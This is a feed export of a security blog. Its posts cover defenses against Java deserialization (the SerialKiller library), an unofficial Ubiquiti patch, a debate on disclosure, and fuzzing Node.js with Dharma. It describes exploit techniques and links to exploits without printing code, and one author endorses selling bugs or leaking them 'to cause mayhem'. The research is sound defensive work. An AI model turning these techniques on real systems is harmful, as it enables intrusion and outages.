tag:blogger.com,1999:blog-7322576955119482542024-02-20T07:29:20.475-08:00Nibble Security"I've forgotten your password, could you please remind me?"Claudio Criscionehttp://www.blogger.com/profile/12202628660778574382noreply@blogger.comBlogger50125tag:blogger.com,1999:blog-732257695511948254.post-68893763182173846662016-10-01T21:54:00.002-07:002016-10-01T22:21:15.132-07:00Defending against Java Deserialization VulnerabilitiesDuring a recent <a href="http://www.meetup.com/Bay-Area-OWASP/events/233591691/">OWASP Meetup in San Francisco</a>, I gave a presentation on Java Deserialization vulnerabilities focused on defense techniques for identifying and fixing this class of bugs.<br />
<br />
<iframe allowfullscreen="" frameborder="0" height="485" marginheight="0" marginwidth="0" scrolling="no" src="//www.slideshare.net/slideshow/embed_code/key/aI6Y0mgXBZhVW4" style="border-width: 1px; border: 1px solid #ccc; margin-bottom: 5px; max-width: 100%;" width="595"> </iframe> <br />
<div style="margin-bottom: 5px;">
<strong> <a href="https://www.slideshare.net/ikkisoft/defending-against-java-deserialization-vulnerabilities" target="_blank" title=" Defending against Java Deserialization Vulnerabilities"> Download the slides deck: "Defending against Java Deserialization Vulnerabilities"</a></strong></div>
<br />
While most of the content is based on the work of several Java Security aficionados (<a href="https://twitter.com/cschneider4711">@cschneider4711</a>, <a href="https://twitter.com/e_rnst">@e_rnst</a>, <a href="https://twitter.com/matthias_kaiser">@matthias_kaiser</a>, <a href="https://twitter.com/pwntester">@pwntester</a>, <a href="https://twitter.com/frohoff">@frohoff</a> and many others), this presentation contains a couple of new things:<br />
<br />
<ul>
<li>Technical details (and exploit) of a serialization bug via JSF view state affecting Sun Java Web Console</li>
<li>New features introduced in <a href="https://github.com/ikkisoft/SerialKiller">SerialKiller</a> </li>
</ul>
<br />
<h3>
Sun Java Web Console serialized object injection via JSF view state</h3>
<div>
Since it appears that there're no publicly disclosed details on Java serialization vulnerabilities triggered via JSF ViewState, I thought it would be a good idea to illustrate a bug I discovered in 2010. From slides 12 to 17, you can read more about this issue affecting Sun Java Web Console (which was the default web admin console for Solaris). I've also released an exploit <a href="https://www.ikkisoft.com/stuff/SJWC_DoS.java">(download here)</a> that uses Hashtable collisions to trigger DoS. RCE is also possible via Apache Common Collections.</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM0xMbWQOV3YGWoqevm6qATMxUUll_lInSMcTYcaIYVz0baquButX7sHGw9PQ6qcibM74dEPkHBSZcgsc7BbY6gwuScQ_T4Rzr0IBm0PYl2O4stbSFwkYylOXCkEJ7UviLk6ja2ZnRbVA/s1600/exploitDoS_screenshot+%2528cut%2529.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="268" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhM0xMbWQOV3YGWoqevm6qATMxUUll_lInSMcTYcaIYVz0baquButX7sHGw9PQ6qcibM74dEPkHBSZcgsc7BbY6gwuScQ_T4Rzr0IBm0PYl2O4stbSFwkYylOXCkEJ7UviLk6ja2ZnRbVA/s400/exploitDoS_screenshot+%2528cut%2529.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
Interestingly enough, old versions of <i>javax.faces.ViewState</i> (client-side and with no signature) can be abused in multiple ways:</div>
<div>
<ul>
<li>XSS and other UI redressing attacks. See Black Hat 2010's presentation <a href="https://www.blackhat.com/presentations/bh-dc-10/Byrne_David/BlackHat-DC-2010-Byrne-SGUI-slides.pdf">"Beware of Serialized GUI Objects Bearing Data"</a> for more details</li>
<li>Java serialization bugs, as demonstrated in this <a href="https://www.ikkisoft.com/stuff/SJWC_DoS.java">exploit</a></li>
<li><a href="https://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf">Expression Language injection</a> since some of the elements of the ViewState tree are actually loaded by a subclasses of ELContext</li>
</ul>
</div>
<h3>
</h3>
<h3>
</h3>
<h3>
</h3>
<h3>
<br /></h3>
<h3>
SerialKiller v0.4</h3>
<div>
I've released a new version of <a href="https://github.com/ikkisoft/SerialKiller">SerialKiller</a> with new features and improvements:</div>
<div>
<ul>
<li>Basic <i>logging support</i>, using Java's native logging</li>
<li><i>Profiling mode</i>. While look-ahead whitelisting provides a robust protection to modern applications, it requires complete enumeration of all Java classes exchanged by the application. With this feature, it is possible to setup SK in "non-blocking" mode in order to enumerate all classes within client-server requests. A step-by-step tutorial on how to whitelist classes is available in the <a href="http://a%20step-by-step%20example%20for%20whitelisting%20classes/">documentation page</a></li>
<li><i>Signatures parity</i> with <a href="https://github.com/frohoff/ysoserial">Ysoserial</a>. I've created default blacklisting signatures for all exploits (as of 09/07) included in this popular payloads generator tool</li>
</ul>
</div>
<div>
<br /></div>
Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com0tag:blogger.com,1999:blog-732257695511948254.post-64582720979503490332015-11-09T00:48:00.001-08:002015-11-09T00:48:58.068-08:00Fixing Java Serialization Bugs with SerialKillerOn Friday, <a href="http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/">FoxGloveSecurity</a> published a rather inaccurate and misleading blog post on five software vulnerabilities affecting WebLogic, WebSphere, JBoss, Jenkins and OpenNMS. By incorrectly attributing the vulnerability to the <a href="https://commons.apache.org/proper/commons-collections/">Apache Commons Collection</a> library, the blog post generated misinformation on the root cause and possible fixes (e.g. <a href="http://news.softpedia.com/news/the-vulnerability-that-will-rock-the-entire-java-world-495840.shtml">this news.softpedia article</a>).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiJ0f4fUV-OlHL7ivqCzAEmFAsMOSnbntbZGVmDYBax7hjcpN3k5t-UooACfxxo9syBX1-3Q73D6-y89cgVNb81xuP7MIHgabw7HPt_shQraOQk0byGY8aSXgrkFW6_QSDbREGUNzdUbk/s1600/tweetthomas.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiJ0f4fUV-OlHL7ivqCzAEmFAsMOSnbntbZGVmDYBax7hjcpN3k5t-UooACfxxo9syBX1-3Q73D6-y89cgVNb81xuP7MIHgabw7HPt_shQraOQk0byGY8aSXgrkFW6_QSDbREGUNzdUbk/s400/tweetthomas.png" width="400" /></a></div>
<br />
If you're still unsure on what is the actual issue, Charles Miller published a short <a href="http://fishbowl.pastiche.org/2015/11/09/java_serialization_bug/">blog post illustrating the problem</a>.<br />
<br />
Probably thinking that the Apache project wasn't interested in fixing the bug, FoxGloveSecurity's post also contains working exploits for all products.<br />
<br />
<blockquote class="tr_bq">
In fact, even though proof of concept code was released OVER 9 MONTHS AGO, none of the products mentioned in the title of this post have been patched, along with many more. In fact no patch is available for the Java library containing the vulnerability.</blockquote>
<br />
As it turned out, some <a href="https://jenkins-ci.org/content/mitigating-unauthenticated-remote-code-execution-0-day-jenkins-cli">vendors were not aware</a> and others were <a href="https://twitter.com/matthias_kaiser/status/662739824642666497">already working on a patch</a> in their products but haven't released it yet.<br />
<br />
Summing up, we're now dealing with five <u>pre-authentication remote code execution vulnerabilities</u> affecting major products. Luckily, the specific services affected by those vulnerabilities are generally not exposed over the Internet thus reducing the overall risk.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Inspired by this story, I started thinking on how I could fix the problem in a systematic way. It didn't take me long to discover <a href="http://www.ibm.com/developerworks/library/se-lookahead/">this article</a> on using method override to create a look-ahead deserialization filter. While the article explains a potential solution, it didn't provide an easy-to-use library that can be used to protect Java applications.<br />
<br />
<h3>
Introducing SerialKiller</h3>
<a href="https://github.com/ikkisoft/SerialKiller">SerialKiller</a> is an easy-to-use look-ahead Java deserialization library to secure applications from untrusted input. You drop the jar in your classpath, use SerialKiller instead of the standard <i>java.io.ObjectInputStream</i> and configure it to allow/block specific classes.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiLh52rEsEfxJ3jPRqk87AlR_XZi0h9kxTou6KZ5l0WK085cG-sJ7Ysl89U15vDkp-oGH-TJFDil02cIjdd48DzyBRrd-CIYcdhmQSuGNklSmavQycpGmKwL04PbE9vNSkskJssqP21Hg/s1600/skpayload.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="145" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiLh52rEsEfxJ3jPRqk87AlR_XZi0h9kxTou6KZ5l0WK085cG-sJ7Ysl89U15vDkp-oGH-TJFDil02cIjdd48DzyBRrd-CIYcdhmQSuGNklSmavQycpGmKwL04PbE9vNSkskJssqP21Hg/s640/skpayload.png" width="640" /></a></div>
<br />
The library, together with a simple tutorial, is available on Github:<br />
<a href="https://github.com/ikkisoft/SerialKiller">https://github.com/ikkisoft/SerialKiller</a><br />
<br />
At the moment, it supports the following features:<br />
<br />
<ul>
<li><b>Hot-Reload</b> for the config file, so that you don't need to restart your application after changing SerialKiller's config</li>
<li><b>Whitelisting</b>. If you can quickly identify a list of trusted classes, this is the <u>best way</u> to secure your application. For instance, you could allow classes belonging to your application package only</li>
<li><b>Blacklisting</b>. The default config file already includes a few known attack payloads (thanks to <a href="https://github.com/frohoff/ysoserial">YSoSerial</a>). This can be used to block the exploits released by FoxGloveSecurity</li>
</ul>
<div>
<br /></div>
<div>
If you want to contribute, <a href="http://twitter.com/_ikki">ping me on Twitter</a> or <a href="https://github.com/ikkisoft/SerialKiller">using Github</a>.</div>
<div>
<br /></div>
<br />
<br />
<br />Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com1tag:blogger.com,1999:blog-732257695511948254.post-43795487581986701512015-09-20T23:40:00.000-07:002015-09-21T01:33:27.015-07:00Unofficial security patch for Ubiquiti Networks mFi Controller 2.1.11<div style="box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 16px; line-height: 25.6000003814697px; margin-bottom: 16px;">
<div style="text-align: justify;">
On September 3, 2015 <a href="http://www.securiteam.com/" style="box-sizing: border-box; color: #4078c0; text-decoration: none;">SecuriTeam</a> disclosed a vulnerability in the Ubiquiti Networks mFi Controller, a software to configure and control automation devices such as power outlets, light/motion/temperature sensors, etc. To understand the capabilities of the machine-to-machine platform, please have a look at the <a href="https://www.ubnt.com/mfi/mport/" style="box-sizing: border-box; color: #4078c0; text-decoration: none;">vendor page</a>.</div>
</div>
<div style="box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 16px; line-height: 25.6000003814697px; margin-bottom: 16px;">
<div style="text-align: justify;">
The security flaw allows an attacker to retrieve the current admin password due to a bypass in the authentication mechanism used by the mFi Controller Server.</div>
</div>
<div style="box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 16px; line-height: 25.6000003814697px; margin-bottom: 16px;">
<div style="text-align: justify;">
Just few hours after the public release of the <a href="http://blogs.securiteam.com/index.php/archives/2580" style="box-sizing: border-box; color: #4078c0; text-decoration: none;">SSD Advisory – Ubiquiti Networks mFi Controller Server Authentication Bypass</a>, the page was removed to accommodate the vendor's request since a patch was not available for download. According to the advisory and <a href="https://twitter.com/nrathaus/status/644404584081956864" style="box-sizing: border-box; color: #4078c0; text-decoration: none;">Noam Rathaus</a>'s tweet, the vendor was aware of this critical vulnerability since the beginning of July 2015.</div>
</div>
<h3 style="box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 1.5em; line-height: 1.43; margin-bottom: 16px; margin-top: 1em; position: relative;">
Digital Self-Defense</h3>
<div style="box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 16px; line-height: 25.6000003814697px; margin-bottom: 16px;">
<div style="text-align: justify;">
Considering that the advisory published on 09/03/2015 contained a technical description of the vulnerability, including a <strong style="box-sizing: border-box;">reliable exploit</strong>, it is reasonable to assume that the security flaw can be easily abused by unsophisticated attackers. While the information was removed from the <a href="http://www.securiteam.com/" style="box-sizing: border-box; color: #4078c0; text-decoration: none;">SecuriTeam website</a> and <a href="https://www.reddit.com/r/netsec/" style="box-sizing: border-box; color: #4078c0; text-decoration: none;">/r/netsec</a>, a quick search on Google is sufficient to find the exploit for this bug.</div>
</div>
<div style="box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 16px; line-height: 25.6000003814697px; margin-bottom: 16px;">
<div style="text-align: justify;">
Despite the public exposure, <strong style="box-sizing: border-box;">Ubiquiti has yet to publish a patch</strong>.</div>
</div>
<div style="box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 16px; line-height: 25.6000003814697px; margin-bottom: 16px;">
<div style="text-align: justify;">
After waiting patiently for a few weeks, I created my own patch. Using <strong style="box-sizing: border-box;">mFiPatchMe</strong>, you will be able to easily patch your controller and leave it running without worries.</div>
</div>
<div style="box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 16px; line-height: 25.6000003814697px; margin-bottom: 16px;">
<div style="text-align: justify;">
You can download the Unofficial Security Patch for Ubiquiti Networks mFi Controller 2.1.11 from here: <a href="https://github.com/ikkisoft/mFiPatchMe">https://github.com/ikkisoft/mFiPatchMe</a></div>
</div>
<div style="box-sizing: border-box; color: #333333; font-family: 'Helvetica Neue', Helvetica, 'Segoe UI', Arial, freesans, sans-serif; font-size: 16px; line-height: 25.6000003814697px; margin-bottom: 16px;">
<div style="text-align: justify;">
<strong style="background-color: white; box-sizing: border-box; color: #777777; line-height: 25.6000003814697px;">Disclaimer:</strong><span style="background-color: white; color: #777777; line-height: 25.6000003814697px;"> This is NOT an official patch provided by </span><a href="https://www.ubnt.com/" style="background-color: white; box-sizing: border-box; color: #4078c0; line-height: 25.6000003814697px; text-decoration: none;">Ubiquiti Networks</a><span style="background-color: white; color: #777777; line-height: 25.6000003814697px;">. </span></div>
</div>
Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com0tag:blogger.com,1999:blog-732257695511948254.post-21048963785683221192015-08-17T09:45:00.000-07:002015-08-17T09:45:32.509-07:00Vulnerability Disclosure: what could that new approach look like?<div style="text-align: justify;">
Few weeks ago, Enno Rey published an interesting <a href="http://www.insinuator.net/2015/07/reflections-on-vulnerability-disclosure/">reflection around vulnerability disclosure</a> blog post discussing how the industry needs to adjust the “traditional” practices for disclosing software defects to vendors. If you haven't read the post, it’s highly recommended as it exemplifies a genuine experience from someone who has been dealing with vulnerabilities for over a decade.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
At the end of the post, Enno is suggesting an open debate asking the community “What could that new approach look like?”</div>
<blockquote class="tr_bq">
<div style="text-align: justify;">
It’s just: what could that new approach look like?</div>
</blockquote>
<div>
<div>
<div style="text-align: justify;">
Being a multi-author blog composed by security professionals with different backgrounds, interests and opinions, we decided to provide our input to this important discussion.</div>
</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<h4 style="text-align: justify;">
Luca Carettoni - @_ikki</h4>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
If you believe in the vision of building a secure Internet, disclosing vulnerabilities to the vendor is evidently a strong requirement. Since the traditional model of reporting defects “for free” has demonstrated its limitations, it’s important that we build a sustainable ecosystem where security researchers can disclosure vulnerabilities, get a decorous compensation and ultimately hand over the bug to the vendor. Bug bounties and few vulnerability brokers that do not rely on the secrecy of the information (e.g. ZDI) are the incentive for disclosing to the vendor, while alleviating the pain of the process. We need to increase those opportunities by having more programs and higher rewards. Even without outbidding the black market, many researchers will prefer this approach for its ethical implications, resulting in a win-win situation.<br />
<br />
If the vendor doesn't care (hey <a href="http://seclists.org/isn/2015/Aug/4">Mary!</a>), digital self-defense in the form of full disclosure is a valid alternative, so that the community can work together on creating mitigations and resilient infrastructure in a timely manner. In these situations, Google's 90-day disclosure deadline is an example of a mechanism used to improve industry response times to security bugs.<br />
<br /></div>
</div>
</div>
<div>
<h4 style="text-align: justify;">
Michele Orrù - @antisnatchor</h4>
</div>
<div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
Freedom is the key. I’m tired of regulations and compliance to rules imposed by people who are not even in the security industry. If I find a bug, I want to have the freedom to do whatever I want with it, for instance: </div>
</div>
<div>
<ul>
<li style="text-align: justify;">Keep it private and use it during legit penetration tests or red team engagements, then report it to the vendor 12 months later because it’s Unholy Christmas time; </li>
<li style="text-align: justify;">Sell it just like a PoC, or sit on it to achieve full RCE and then sell it to some broker; </li>
<li style="text-align: justify;">Just go Full Disclosure and publish as a fake persona to cause mayhem; </li>
<li style="text-align: justify;">Privately report it to the vendor, helping them fixing it, etc. </li>
</ul>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Let's say I find a bug in a (defensive) security product. I would never report it to the vendor unless they pay a (very) good amount of money. There are tons of security product vendors who make millions of dollars selling crap that works so-so and most of the time can be owned remotely, effectively becoming a pivot point in the customer’s network. Why should I help them for free to make even more money silently patching bugs in their systems?</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Moreover, the annoying stories of people saying “hey, if you release that 0day, the black market will use it!”, or “hey, isn’t that open source hacking tool very dangerous if used by the wrong people?” can be demystified very easily. In my opinion governments use the black market as a resource, if they really need to, like the Italian government uses Mafia(s) to get intel/help in certain circumstances. Moreover, about open source hacking tools (same as vulnerabilities) being dangerous: how they are used is the key here. In fact I see a certain analogy between OSS hacking tools and 0days. If someone use an OSS hacking tool to own a financial institution and he gets caught, would you blame the developers of the tool or the guy who did the hack? Same thing for a 0day, would you blame who found it, who used it, or the vendor? Would you blame Vitaly for discovering and selling the infamous Flash 0day, HackingTeam who weaponized it to “rule-them-all”, or Adobe for caring so little about security?</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Truth is, education and knowledge are the keys. If we will be able to teach the new generation how to write secure code, how to do fuzzing during software development and testing and to never blindly trust input, then we would really increase Internet security. If we continue to go down through the path of ignorance and security by obscurity, chaos is nearer.</div>
</div>
</div>
<div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<h4 style="text-align: justify;">
Luca De Fulgentis - @_daath</h4>
</div>
<div>
<br /></div>
<div>
<div>
<div style="text-align: justify;">
Said that full disclosure may not be that ethical in certain circumstances (remember Gobbles' apache-scalp?), I do neither truly believe in what is named “responsible” disclosure. Being “responsible” implies withstanding ethics that, in turn, implies naming things as “right” or “wrong”. Instead my own experience points me to think in term of what simply “works” rather than limiting choices – such as disclosing a bug – on the basis of a dualistic paradigm.</div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
I never really understood the term “ethics”, especially if applied to the real-(security)world. We live in the dark ages of the Internet of Things where we are observing the rise of “ethical white knights”, which are building their fame and glory stealing someone else code or shitting on enemies (of the Internet, of course). While these useless <i>characters</i> only exist because of the “evil” the are trying to banish – and, hopefully, they will get of out scene now that the evil has been heavily hacked – what really makes me <i>suffer</i> is the term “ethical hacking”.<br />
<br />
Ethical hacking’s deliverables are often intended as weapons to fuck up or deceive someone: technology or services providers, colleagues, managers and sometimes even customers. And let me say that out there most of the security firms and related professionals blindly accept this perverse “game”, even if they are claiming to be "ethical" or "white-something" - <i>after all, business is business</i>.</div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
Back to the vulnerability disclosure debate, I’m not in the right position to properly identify a model that works, but let me say that it sounds like a NP-complete problem to be solved, and I think I’m not wrong when I’m saying that it can be compared to other well-know issues afflicting mankind.</div>
<div style="text-align: justify;">
<br /></div>
</div>
<div>
<div style="text-align: justify;">
<span style="background-color: white;">So the whole topic could be shifted to a completely different level: we had, have and will always have insurmountable constraints, represented by subjects only interested in money, fame or power, that will always mark both the upper and lower bounds of "improvements" - name it, in example, a safer Internet via a robust vulnerability disclosure model. It's the same as the <i>old plain</i> physical world. <i>I</i></span><i>t’s all the same, only the names will change.</i><br />
<br /></div>
<div style="text-align: justify;">
<br /></div>
</div>
</div>
Luca Carettonihttp://www.blogger.com/profile/09637069252819452250noreply@blogger.com1tag:blogger.com,1999:blog-732257695511948254.post-24465734274850526852015-08-09T23:43:00.001-07:002015-08-09T23:51:29.905-07:00Using Dharma to rediscover Node.js out-of-band write in UTF8 decoder<div style="text-align: justify;">
<span style="background-color: white; color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">A month ago, Node.js released a <a href="http://blog.nodejs.org/2015/07/04/node-v0-12-6-stable/">security update</a> for a bug in </span><span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;">V8's utf-8 decoder affecting Buffer to String conversions. Since numerous native functions for networking and I/O are affected, a</span></span><span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;"> malicious user could deliver a crafted input to</span><span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;"> crash a remote Node.js process. A truncated four-bytes sequence can be used to create a misalignment in the </span><span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;"><i>WriteUtf16Slow</i> function, resulting in a segmentation fault. For more details on the actual vulnerability, have a look at the </span></span><a href="https://chromium.googlesource.com/v8/v8.git/+/b199bcdd47ae97ec116b430e34ab42001c8f04c0%5E%21/#F2" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">V8 patch</a><span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;"> and the original </span><a href="https://github.com/joyent/node/issues/25583" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">bug report</a><span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">.</span></div>
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px; text-align: justify;"><br /></span>
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px; text-align: justify;">Just after the release of the patch, I started experimenting with this vulnerability to create a proof-of-concept:</span><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjiOBm3lLTWmlHEkRHE-xdJcUsLWxVe-Mg_NtTgmE2fWCa4OUX2GbdjNTZ36SfQAwoir5dea4BjGiwJ3q6UfFJuiPGMTBmje9cpNFxfJT7VZUsxPaCozeNvH5WoNNmueNBWSCBax641P4/s1600/Screen+Shot+2015-07-26+at+12.06.53+AM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="132" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjiOBm3lLTWmlHEkRHE-xdJcUsLWxVe-Mg_NtTgmE2fWCa4OUX2GbdjNTZ36SfQAwoir5dea4BjGiwJ3q6UfFJuiPGMTBmje9cpNFxfJT7VZUsxPaCozeNvH5WoNNmueNBWSCBax641P4/s400/Screen+Shot+2015-07-26+at+12.06.53+AM.png" width="400" /></a></div>
<br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;">Almost around the same time, I noticed that </span><span style="font-size: 12.6666669845581px;"><a href="https://twitter.com/posidron">Christoph Diehl</a> from </span></span><span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">Mozilla published a grammar-based fuzzer named </span><a href="https://blog.mozilla.org/security/2015/06/29/dharma/" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">Dharma</a><span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;">. The tool parses formal grammar definitions and generates test cases. Although the concept is not new, Mozilla released a neat implementation with great efficiency</span><span style="font-size: 12.6666669845581px;">.</span></span><br />
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;"><br /></span>
<br />
<h3>
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">Can we rediscover the same bug using Dharma? </span></h3>
</div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;">As an excuse to play with Dharma, I decided to try to replicate the same Buffer vulnerability. In this post, I will guide you through the setup and execution.</span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">First, we need to create a grammar to define Node's Buffer functions. From the </span><a href="https://nodejs.org/api/buffer.html" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">official API doc</a><span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">, I started classifying all APIs in three categories: <i>definitions</i>, </span><span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;"><i>permutations</i> (from Buffer to Buffer) and <i>operations</i> (from Buffer to other types).</span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">Based on this model, all test cases will resemble the following template:</span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrBUdEdVPRP4a98W0AgFRuXtnR339Dq-dKG1PGag6LVLvx8ziNTzfkxsvdQLOy7AcrOYeQYPzY3PcxlKVFh0q2e6vYWCAmF_nkKKb-VDNu0FFOCjaUm7zZjyD-vSXDJQ8lhvoJqVLG_p8/s320/Screen+Shot+2015-07-27+at+10.55.04+PM.png" /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;">The resulting <i>buffer.dg </i>grammar has been merged in the <a href="https://github.com/MozillaSecurity/dharma/blob/master/dharma/grammars/nodejs/buffer.dg">official Github repository</a>.</span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;"><br /></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;">With Dharma, we can now generate test cases with a simple command:</span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif; font-size: 12.6666669845581px;"><br /></span></div>
<div style="text-align: center;">
<img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_nOSUD9FSbTfAv6k0x-SPGkLWQ6y4ki7TjoLKJL2B6sPQ2nrEuq0H7Ypn9BqAZ8bFU-W452o4Vo3FwPqgQnn9Vk9x6_i5g8ym2bkSae7IbvvRM-FGyrG349IfBTaeXnTSGtijr8-BRug/s640/Screen+Shot+2015-07-27+at+11.01.34+PM.png" /></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;"><br /></span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;">At this point, we just need to execute our test cases and wait for the results. After trying a few different solutions, I ended up using a very simple bash script:</span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRh4DkLV7lLhXViHSqXZmIQ7DSRt2iDOLYC3l4YLZ7OYCErDbfcs7aDOH5qCuuRU6suCmnRsw7BUpDxdG2d4SQjiPvOUe0VyJWsTj7XCaf_hp8AdpOsck7hWSuMT9ecNJzIPQ30UWZOU/s1600/Screen+Shot+2015-07-27+at+11.08.07+PM.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="277" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRh4DkLV7lLhXViHSqXZmIQ7DSRt2iDOLYC3l4YLZ7OYCErDbfcs7aDOH5qCuuRU6suCmnRsw7BUpDxdG2d4SQjiPvOUe0VyJWsTj7XCaf_hp8AdpOsck7hWSuMT9ecNJzIPQ30UWZOU/s400/Screen+Shot+2015-07-27+at+11.08.07+PM.png" width="400" /></a></div>
<br />
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;">After leaving the fuzzer alone for the night, I came back in the morning to discover a multitude of core dumps. Hidden among thousands of <i>V8::FatalProcessOutOfMemory</i> and <i>SIGILL Illegal instruction </i>errors, I finally discovered a sample that was triggering something interesting.</span></span></div>
<div style="text-align: justify;">
<span style="color: #333333; font-family: verdana, arial, helvetica, sans-serif;"><span style="font-size: 12.6666669845581px;"><br /></span></span></div>
<div style="text-align: justify;">
